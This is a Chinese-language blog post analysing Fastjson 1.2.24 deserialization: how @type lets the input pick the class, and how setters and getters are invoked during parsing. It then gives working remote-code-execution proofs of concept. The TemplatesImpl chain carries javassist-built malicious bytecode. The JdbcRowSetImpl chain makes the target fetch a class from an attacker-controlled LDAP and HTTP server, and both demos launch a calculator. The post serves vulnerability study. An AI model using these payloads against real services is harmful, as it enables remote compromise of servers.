FastJson反序列化分析笔记
This_is_Y Lv6

两个特性

用户可控制反序列化的对象

user类如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package org.example;

public class user {
private String name;
private int age;
private String hobby;

public user() {
System.out.println("user构造函数user(无参数)");
}

public user(String name, int age, String hobby) {
System.out.println("user构造函数user(有参数)");
this.name = name;
this.age = age;
this.hobby = hobby;
}

public String getName() {
System.out.println("user调用了getName");
return name;
}

public void setName(String name) {
System.out.println("user调用了setName");
this.name = name;
}

public int getAge() {
System.out.println("user调用了getAge");
return age;
}

public void setAge(int age) {
System.out.println("user调用了setAge");
this.age = age;
}

public String getHobby() {
System.out.println("user调用了getHobby");
return hobby;
}

public void setHobby(String hobby) {
System.out.println("user调用了setHobby");
this.hobby = hobby;
}

@Override
public String toString() {
return "user{" +
"name='" + name + '\'' +
", age=" + age +
", hobby='" + hobby + '\'' +
'}';
}
}

然后是调用函数,我都是写在各种小test里,然后在main中调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Main {
public static void main(String[] args) {
//test1();
//test2();
test3();
//test4();
}
}

安全的使用方法:

先看正确的使用方法:

1
2
3
4
5
6
    public static void test3(){
// 安全的写法
String p1 = "{\"age\":18,\"hobby\":\"gaming\",\"name\":\"y\"}";
user tmpuser = JSON.parseObject(p1, user.class); //限制死了反序列化的类型为user
System.out.println(tmpuser.getAge());
}

image-20231027102647188

可以看到输出中,出现了

user构造函数user(无参数)

这是因为需要构造user对象tmpuser。

user调用了setAge user调用了setHobby user调用了setName

这三个出现,是因为在构造过程中,给age,name,hobby这三个属性赋值了。

user调用了getAg
18

是tmpuser.getAge()这一行输出的。

限制死了反序列化的类型为user,这种由开发者控制的反序列化的类型,是安全的。

不安全的使用方法:

因为fastjson有一个特性,可以由用户指定反序列化的类型,通过@type字段。可以先设置另一个user2对象

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package org.example;

public class user2 { private String name;
private int age;
private String hobby;

public user2() {
System.out.println("user2构造函数user2(无参数)");
}

public user2(String name, int age, String hobby) {
System.out.println("user2构造函数user2(有参数)");
this.name = name;
this.age = age;
this.hobby = hobby;
}

public String getName() {
System.out.println("user2调用了getName");
return name;
}

public void setName(String name) {
System.out.println("user2调用了setName");
this.name = name;
}

public int getAge() {
System.out.println("user2调用了getAge");
return age;
}

public void setAge(int age) {
System.out.println("user2调用了setAge");
this.age = age;
}

public String getHobby() {
System.out.println("user2调用了getHobby");
return hobby;
}

public void setHobby(String hobby) {
System.out.println("user2调用了setHobby");
this.hobby = hobby;
}

@Override
public String toString() {
return "user{" +
"name='" + name + '\'' +
", age=" + age +
", hobby='" + hobby + '\'' +
'}';
}
}

然后是调用代码:

1
2
3
4
5
6
7
8
public static void test4() {
String p1 = "{\"@type\":\"org.example.user\",\"age\":18,\"hobby\":\"gaming\",\"name\":\"y\"}";
String p2 = "{\"@type\":\"org.example.user2\",\"age\":18,\"hobby\":\"gaming\",\"name\":\"y\"}";
System.out.println("JSON.parse(p1):");
Object P1 = JSON.parse(p1);
System.out.println("JSON.parse(p2):");
Object P2 = JSON.parse(p2);
}

输出结果如下:

image-20231027111614060

可以将test()理解为一个函数,用户输入序列化后的字符串交给服务器,服务器对字符串进行反序列化,这里输入的p1,p2就可以理解为调用了两次函数。

调用getName方法

但反序列化字符串的函数不是parse而是parseObject时,就会调用对象中的getter类方法,比如getName,getAge,getHobby。

1
2
3
4
5
6
7
public static void test6() {
String p1 = "{\"@type\":\"org.example.user\",\"age\":18,\"hobby\":\"gaming\",\"name\":\"y\"}";
System.out.println("JSON.parse(p1):");
Object P1 = JSON.parse(p1);
System.out.println("JSON.parseObject(p1):");
Object P2 = JSON.parseObject(p1);
}

image-20231027112258302

在了解这两种机制后,就可能会出现下面这种情况:代码中出现了 JSON.parseObject(p1); 可能设计初衷只是想解析反序列化”{"age":18,"hobby":"gaming","name":"y"}”这样的字符串,但是因为这两个特性,就可能出现一些意想不到的结果

调用流程分析

先来捋顺正常的调用,再来看漏洞的调用

正常流程

识别@type

使用如下代码,

1
2
3
4
5
public static void test7(){
String p1 = "{\"@type\":\"org.example.user\",\"age\":18,\"hobby\":\"gaming\",\"name\":\"y\"}";
System.out.println("JSON.parseObject(p1):");
Object P2 = JSON.parseObject(p1);
}

断点下载 Object P2 = JSON.parseObject(p1);

前面都是普通的调来调去,一直到这里

1
2
3
4
5
6
7
8
9
10
   public Object parse(Object fieldName) {
final JSONLexer lexer = this.lexer;
switch (lexer.token()) {
…………
…………
case LBRACE:
JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
return parseObject(object, fieldName);
…………
…………

image-20231030110516526

这里的lexer是由之前JSON.java中的

DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);

这一行定义和赋值

在swtich中,识别到第一个字符串是{ (也就是 LBRACE )后,通过

return parseObject(object, fieldName);

进入到了parseObject函数中,这个函数还是在当前DefaultJSONParser.java文件中

image-20231030111221334

经过几个判断后,进入到try finally 代码块中,这里面是一个for(;;)死循环,然后可以看到有一个判断

1
2
3
4
5
6
7
8
9
10
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
String typeName = lexer.scanSymbol(symbolTable, '"');
Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());

if (clazz == null) {
object.put(JSON.DEFAULT_TYPE_KEY, typeName);
continue;
}
………………
………………

JSON.DEFAULT_TYPE_KEY@type

lexer.isEnabled()会返回入参的mask字段,这边的Feature.DisableSpecialKeyDetect内容如下,所以!lexer.isEnabled(Feature.DisableSpecialKeyDetect)的结果为true

image-20231030112553007

随后就获取到@type的value:org.example.user

这边的意思大概就是,通过识别到{开头,然后开始进行反序列化的字符从识别,识别到@type,意味着需要指定类进行java反序列化。这边的下一行

Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());

就是加载制定的类以便于反序列化

加载指定类

在上面用loadlass加载完类后,继续这个if代码块,在最下面有一个

1
2
ObjectDeserializer deserializer = config.getDeserializer(clazz);
return deserializer.deserialze(this, clazz, fieldName);

这边是为了获取反序列化器deserializer,跟进getDeserializer,因为type instanceof Class<?>,跳到 getDeserializer((Class<?>) type, type)中,

在这个getDeserializer,会经过一些替换处理,if判断,比如说会把$换成.

  • className = className.replace(‘$’, ‘.’);

会检测是否java.awt.开头等等。

最后因为传入的value是org.example.user,流程会来到461行的

derializer = createJavaBeanDeserializer(clazz, type);

image-20231030115601476

跟进createJavaBeanDeserializer(),这个函数里的判断主要是围绕 asmEnable 变量的true和false来进行的,在一系列的处理后,来到了

1
JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, type, propertyNamingStrategy);

image-20231030144038009

跟进这个build()函数,这函数内容也非常多,不过因为两个长的 if 代码块不会运行,所以可以忽略,重点是下面的三个 for 代码块,

image-20231030144752366

其中第一个循环 for (Method method : methods) 是在指定的java类中找setter类方法。那些“函数命名以set开头,第四个字母大写”之类的条件,就是在这里进行判断处理的。

image-20231030145529136

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
String methodName = method.getName();
if (methodName.length() < 4) { //方法名长度大于4
continue;
}

if (Modifier.isStatic(method.getModifiers())) { //非静态方法
continue;
}

// support builder set
if (!(method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))) {
continue;
}
Class<?>[] types = method.getParameterTypes();
if (types.length != 1) {
continue;
}

JSONField annotation = method.getAnnotation(JSONField.class);

if (annotation == null) {
annotation = TypeUtils.getSuperMethodAnnotation(clazz, method);
}

if (annotation != null) {
if (!annotation.deserialize()) {
continue;
}

ordinal = annotation.ordinal();
serialzeFeatures = SerializerFeature.of(annotation.serialzeFeatures());
parserFeatures = Feature.of(annotation.parseFeatures());

if (annotation.name().length() != 0) {
String propertyName = annotation.name();
add(fieldList, new FieldInfo(propertyName, method, null, clazz, type, ordinal, serialzeFeatures, parserFeatures,
annotation, null, null));
continue;
}
}

if (!methodName.startsWith("set")) { // TODO "set"的判断放在 JSONField 注解后面,意思是允许非 setter 方法标记 JSONField 注解?
continue;
}

char c3 = methodName.charAt(3);

String propertyName;
if (Character.isUpperCase(c3) //
|| c3 > 512 // for unicode method name
) {
if (TypeUtils.compatibleWithJavaBean) {
propertyName = TypeUtils.decapitalize(methodName.substring(3));
} else {
propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4);
}
} else if (c3 == '_') {
propertyName = methodName.substring(4);
} else if (c3 == 'f') {
propertyName = methodName.substring(3);
} else if (methodName.length() >= 5 && Character.isUpperCase(methodName.charAt(4))) {
propertyName = TypeUtils.decapitalize(methodName.substring(3));
} else {
continue;
}

在处理的最后,会使用add()将找到的方法加进fieldList中,(add中的FieldInfo,会涉及到下面的getonly参数)

1
2
add(fieldList, new FieldInfo(propertyName, method, field, clazz, type, ordinal, serialzeFeatures, parserFeatures,
annotation, fieldAnnotation, null));

第二个for (Field field : clazz.getFields())是遍历所有public的方法,

第三个与第一个类似,不过是getter方法

getonly参数

在构造函数FieldInfo()中,有一个东西需要注意,getonly参数,如果getonly参数为false,会导致在return deserializer.deserialze(this, clazz, fieldName);内的调试出现问题,没办法跟踪代码,(具体是为啥不是很清楚,以后可以研究一下),需要让getonly参数为true,主要代码在FieldInfo.java中下面的代码。有两个条件,

  • 第一是代码要在走到这个FieldInfo.java中,这里需要从JavaBeanInfo.java中的add(fieldList, new FieldInfo(propertyName, method, null, clazz, type, 0, 0, 0, annotation, null, null));进去,
  • 第二个是这里的第二个if ((types = method.getParameterTypes()).length == 1)

image-20240306171632737

为了后续方便调试,这个参数需要为true,在FieldInfo()中,这个参数为true,需要 method.getParameterTypes()的长度不为1,

1
if ((types = method.getParameterTypes()).length == 1) 

然而在第一个for (Method method : methods) 循环中,有这样一个判断

1
2
3
4
Class<?>[] types = method.getParameterTypes();
if (types.length != 1) {
continue;
}

所以在第一个for循环中,是永远不能使getonly为true的。因为如果参数不为1,那就会被continue,代码根本走不到add();如果参数为1,代码在走到了add(),那getonly就只能为false了。

所以需要看第二个for循环。

第二个for循环是找getter函数,构造的函数需要满足以下几个条件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// 函数名大于4
if (methodName.length() < 4) {
continue;
}

// 函数不能是静态方法 static
if (Modifier.isStatic(method.getModifiers())) {
continue;
}

// 函数需要以get开头,且第四个字符是大写
if (methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3))) {
//函数不能有入参
if (method.getParameterTypes().length != 0) {
continue;
}
// 函数返回值需要是以下几种类型 Collection,Map,AtomicBoolean,AtomicInteger,AtomicLong
if (Collection.class.isAssignableFrom(method.getReturnType()) //
|| Map.class.isAssignableFrom(method.getReturnType()) //
|| AtomicBoolean.class == method.getReturnType() //
|| AtomicInteger.class == method.getReturnType() //
|| AtomicLong.class == method.getReturnType() //
) {
…………
// fieldList中没有setter方法,简单说就是,如果getKey要满足条件,就不能出现满足条件的setKey
FieldInfo fieldInfo = getField(fieldList, propertyName);
if (fieldInfo != null) {
continue;
}
…………
add(fieldList, new FieldInfo(propertyName, method, null, clazz, type, 0, 0, 0, annotation, null, null));
…………
}

所以为了将getonly变量为true,所需要构造的getter函数就可以简单写为

1
2
3
4
5
6
7
8
9
10
11
    public AtomicBoolean getKey2(){
// Collection<String> re = null;
// Map<String,String> re = null;
AtomicBoolean re = null;
// AtomicInteger re = null;
// AtomicLong re = null;
System.out.println("user调用了setKey2");
this.key1 = key1;
this.key2 = key2;
return re;
}

image-20231031130900988

之后,代码跳出JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, type, propertyNamingStrategy); 向下走到

1
2
3
4
5
6
7
8
9
10
11
for (FieldInfo fieldInfo : beanInfo.fields) {
if (fieldInfo.getOnly) {
asmEnable = false;
break;
}
…………
}
…………
if (!asmEnable) {
return new JavaBeanDeserializer(this, clazz, type);
}

然后就可以将asmEnable设置为false,随后 return new JavaBeanDeserializer(this, clazz, type); 结束函数。

在return的时候,是new了一个新的JavaBeanDeserializer,所以还会在走一边之前的三个for循环那块的流程,然后退出到ParseConfig.java的derializer = createJavaBeanDeserializer(clazz, type);,再继续退出当前的getDeserializer()函数,回到getDeserializer(),最后退出到DefaultJSONParser.java的

1
2
ObjectDeserializer deserializer = config.getDeserializer(clazz);
return deserializer.deserialze(this, clazz, fieldName);

反序列化

通过调整getter函数,使用ObjectDeserializer deserializer = config.getDeserializer(clazz);获取到反序列化器后

退出到DefaultJSONParser.java的return deserializer.deserialze(this, clazz, fieldName);后,

跟进deserialze()方法,跳过一些重载方法后,来到JavaBeanDeserializer.java文件中。走到object = createInstance(parser, type);时。这里是新建一个实例,在这里面有一句object = constructor.newInstance();会执行指定了类的构造方法

image-20231031161055222

image-20231031161113880

之后在fieldDeser.setValue(object, fieldValue);中跟进,里面在经过层层if判断和其他的处理后,有一行反射代码method.invoke(object, value);

在这执行了之前加入到fieldList的setter函数,

这里是setName

image-20231031162125277

image-20231031162213983

而被执行的getter方法,是在JSON.java的return (JSONObject) JSON.toJSON(obj);中被调用的,在使用parse()将字符串反序列化为对象后,判断对象类型是否是JSON,如果不是,就再使用toJSON()函数处理一下obj。

image-20231031162843403

image-20231031163027896

在toJSON中,通过ObjectSerializer serializer = config.getObjectWriter(clazz);获取ObjectSerializer:

image-20231031170454368

image-20231031170522391

image-20231031170543611

image-20231031170617489

image-20231031170719435

在获取到ObjectSerializer后,在Map<String, Object> values = javaBeanSerializer.getFieldValuesMap(javaObject);里面执行的getter方法,具体来看:

getFieldValuesMap() –> getter.getPropertyValue(object) -> Object propertyValue = fieldInfo.get(object);

image-20231031171652499

1
2
3
4
5
public Object get(Object javaObject) throws IllegalAccessException, InvocationTargetException {
if (method != null) {
Object value = method.invoke(javaObject, new Object[0]);
return value;
}

测试执行命令

假如说在代码中有一个这样的类

1
2
3
4
5
6
7
8
9
package org.example;

import java.io.IOException;

public class testcmd {
public void setCmd(String cmd) throws IOException {
Runtime.getRuntime().exec(cmd);
}
}

如果想要通过fastjson执行命令,可以这样写

1
2
3
4
public static void test7(){
String cmd = "{\"@type\":\"org.example.testcmd\",\"cmd\":\"gnome-calculator\"}";
Object P2 = JSON.parseObject(cmd);
}

image-20231101095633776

寻找利用链

对于java版本

RMI利用的JDK版本≤ JDK 6u132、7u122、8u113

LADP利用JDK版本≤ 6u211 、7u201、8u191

TemplatesImpl

环境

  • ubuntu 22.04
  • java version “1.8.0_102”

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.codec.binary.Base64;
…………

public static void test10() throws Exception {
// TemplatesImpl
// 生成 evilcode
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(test.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"gnome-calculator\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "akka1" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
byte[] evilCode = cc.toBytecode();
String evilCode_base64 = Base64.encodeBase64String(evilCode);
System.out.println(evilCode_base64);

// 构造payload
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String payload =
"{\"" +
"@type\":\"" + NASTY_CLASS + "\"," + "\"" +
"_bytecodes\":[\"" + evilCode_base64 + "\"]," +
"'_name':'asd','" +
"_tfactory':{ },\"" +
"_outputProperties\":{ }," + "\"" +
"_version\":\"1.0\",\"" +
"allowedProtocols\":\"all\"}\n";
ParserConfig config = new ParserConfig();
System.out.println("payload:"+payload);

// 运行
Object obj = JSON.parseObject(payload, Object.class, config, Feature.SupportNonPublicField);


}

pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>

</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.19.0-GA</version>
</dependency>
<dependency>
<groupId>commons-codec</groupId>
<artifactId>commons-codec</artifactId>
<version>1.10</version>
</dependency>
</dependencies>

image-20240308153958617

首先该类中存在一个成员属性 _class,是一个 Class 类型的数组,数组里下标为_transletIndex 的类会在 getTransletInstance() 方法中使用 newInstance() 实例化。如下:

image-20240311085936297

image-20240311085953511

往回找,com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类中的 getOutputProperties() 方法调用 newTransformer() 方法,而 newTransformer() 又调用了 getTransletInstance() 方法。

getOutputProperties() -> newTransformer() -> getTransletInstance()

getOutputProperties() 方法就是类成员变量 _outputProperties 的 getter 方法。所以在使用fastjson反序列化时,如果设置了 _outputProperties 变量,就能在反序列化的过程中执行getOutputProperties()方法。

image-20240311090549219

现在需要知道这个 _class[_transletIndex]是否能由用户控制,_transletIndex也是一个变量,初始值为-1。

image-20240311105310519

ctrl+左键查找一下_class,发现在TemplatesImpl()、readObject()、defineTransletClasses()中都有赋值的操作。

image-20240311091814919

其中 defineTransletClasses()getTransletInstance() 中,如果 _class 为空即会被调用,看一下 defineTransletClasses() 的逻辑

image-20240311104717731

image-20240311104837084

首先需要_bytecodes不为空,不然会报错结束这个方法。然后会调用自定义的 ClassLoader 去加载 _bytecodes 中的 byte[] 。而 _bytecodes 也是该类的成员属性。

在for循环中的if判断是为了判断这个类的父类是否为 ABSTRACT_TRANSLET 也就是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet。如果是,就会将类成员属性的_transletIndex 设置为当前循环中的标记位,比如说_bytecodes这个列表里面只有一个元素,此时for循环i=0,如果父类为 ABSTRACT_TRANSLET ,则_transletIndex 就为0。

另外,_bytecodes_name都是没有setter方法的私有变量,所以想要在反序列化的时候为这两个变量赋值,需要在parseObject()时设置Feature.SupportNonPublicField;关于私有属性赋值的细节,我放在后面写一下。

整个利用链为:

  • 构造一个 TemplatesImpl 类的反序列化字符串,其中 _bytecodes 是我们构造的恶意类的类字节码,这个类的父类需要是 AbstractTranslet,最终这个类会被加载并使用 newInstance() 实例化。
  • 在反序列化过程中,由于getter方法 getOutputProperties(),满足条件,将会被 fastjson 调用,而这个方法触发了整个漏洞利用流程:getOutputProperties() -> newTransformer() -> getTransletInstance() -> defineTransletClasses() / EvilClass.newInstance().

_bytecodes私有属性的赋值

fastjson在反序列化字符串的时候,
1.如果变量是public,不需要setter类方法,字符串里写了,就能反序列化进去,
2.如果变量是private,需要有setter类方法才能反序列化进去,
3.如果变量是private,没有setter类方法。需要设置Feature.SupportNonPublicField才能能反序列化进去。

先准备这样一个类

user4.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package org.example;

import java.util.concurrent.atomic.AtomicBoolean;

public class user4 {
private String key1;
private String key2;
private String _key3;
public String _key4;

public void setKey1(String key1){
System.out.println("user调用了setKey");
this.key1 = key1;
}
public void setKey2(String key2){
System.out.println("user调用了setKey2");
this.key2 = key2;
}

public user4() {
System.out.println("user构造函数user(无参数)");
}

public user4(String key1,String key2) {
System.out.println("user构造函数user(有参数)");
this.key1 = key1;
this.key2 = key2;
}


@Override
public String toString() {
return "user{" +
"key1='" + key1 + '\'' +
", key2='" + key2 + '\'' +
", key3='" + _key3 + '\'' +
", key4='" + _key4 + '\'' +
'}';
}
}

然后是poc代码

1
2
3
4
5
6
7
    public static void test13() {
String p1 = "{\"@type\":\"org.example.user4\",\"key1\":\"key11\",\"key2\":\"key22\",\"_key3\":\"key33\",\"_key4\":\"key44\"}";
System.out.println("JSON.parse(p1):");
// Object P1 = JSON.parse(p1,Feature.SupportNonPublicField);
Object P1 = JSON.parse(p1);
System.out.println("===> "+P1.toString());
}

image-20240312155625896image-20240312155647214

在user4里面,有四个变量key1,key2,key3,key4,其中key1,key2和key3都是私有变量(private),但是key1和key2有setter类方法,key3则没有,而key4是公共变量(public)。所以在没有设置Feature.SupportNonPublicField时,totring()返回结果为===> user{key1='key11', key2='key22', key3='null', key4='key44'}。其中key3无法被赋值,为null。

而在设置了Feature.SupportNonPublicField后,key3就赋值成功了。

具体流程分析

在经过一次次回溯后,找到JavaBeanDeserializer.java#parseField()中。

image-20240312162041859

image-20240312162149768

当没有设置Feature.SupportNonPublicField时,fieldDeserializer为null,在经过parser.parseExtra(object, key)后就结束了(如上图),而在设置了Feature.SupportNonPublicField后,ieldDeserializer不为null,代码就会走到下面的fieldDeserializer.parseField(parser, object, objectType, fieldValues)中,在这里面通过`setValue(object, value) –> field.set(object, value)将_key3通过反射进行赋值,

image-20240312162458479

image-20240312170154792

现在来看一下fieldDeserializer是如何被Feature.SupportNonPublicField影响的。

定义:没有区别

1
FieldDeserializer fieldDeserializer = smartMatch(key);

赋值:

这是设置了Feature.SupportNonPublicField的。如果没设置这个特性,直接走不到这个地方。

image-20240312171414009

代码会在这个判断中返回false,自然就无法在里面为fieldDeserializer赋值

image-20240312171803481

这个判断里,fieldDeserializer == null默认为true,此时没有设置特性,所以后面两个都是false,当设置了特性后,parser.lexer.isEnabled(mask) 的结果就为true了,

1
2
3
4
5
fieldDeserializer == null && 
(
parser.lexer.isEnabled(mask) ||
(this.beanInfo.parserFeatures & mask) != 0)
)

JdbcRowSetImpl

环境

  • ubuntu 22.04
  • java version “1.8.0_102”
  • marshalsec-0.0.3-SNAPSHOT-all.jar (sha1 22f311752a1c6ce1102bcb199458c8d10118ae6e)

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// javac Calc.java
import java.lang.Runtime;
import java.lang.Process;

public class Calc {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"gnome-calculator"};//win的目标可以换成calc
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

javac Calc.java生成Calc.class后,使用python起一个web服务。

  • sudo python3 -m http.server 8888

然后使用marshalsec-0.0.3-SNAPSHOT-all.jar起一个LDAP服务

再然后idea里的代码如下:

1
2
3
4
public static void test11(){
String cmd = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://192.168.56.213:9999/calc\", \"autoCommit\":true}";
Object P2 = JSON.parseObject(cmd);
}

image-20240307142526862

流程分析:

在com.sun.rowset.JdbcRowSetImpl类中,有一个setAutoCommit类,完全符合fastjson自动调用的setter方法的条件:长度大于4、非静态、void返回、set后的字母大写、参数为1。需要payload中有”autoCommit":true。设置为true,是为了让这个函数能执行this.connect()。这个connect()才是执行命令的关键

image-20240307145501023

ctrl+左键进入connect()内,可以看到危险代码(DataSource)var1.lookup(this.getDataSourceName());关键是这个lookup(),目标在进行lookup()操作时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()获取外部远程对象实例;攻击者可以在Factory类文件的静态代码块处写入恶意代码,达到RCE的效果;

image-20240307150004307

1.2.25

之前的流程相同,在检测到DEFAULT_TYPE_KEY(@type)后,多了这一行判断

1
Class<?> clazz = config.checkAutoType(typeName, null);

image-20231101161912921

参考

https://tttang.com/archive/1579/#toc__2

https://www.bilibili.com/video/BV1bD4y117Qh/

https://www.cnblogs.com/nice0e3/p/14601670.html

https://www.anquanke.com/post/id/240446#h3-6

https://javasec.org/java-vuls/FastJson.html

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
访客数 访问量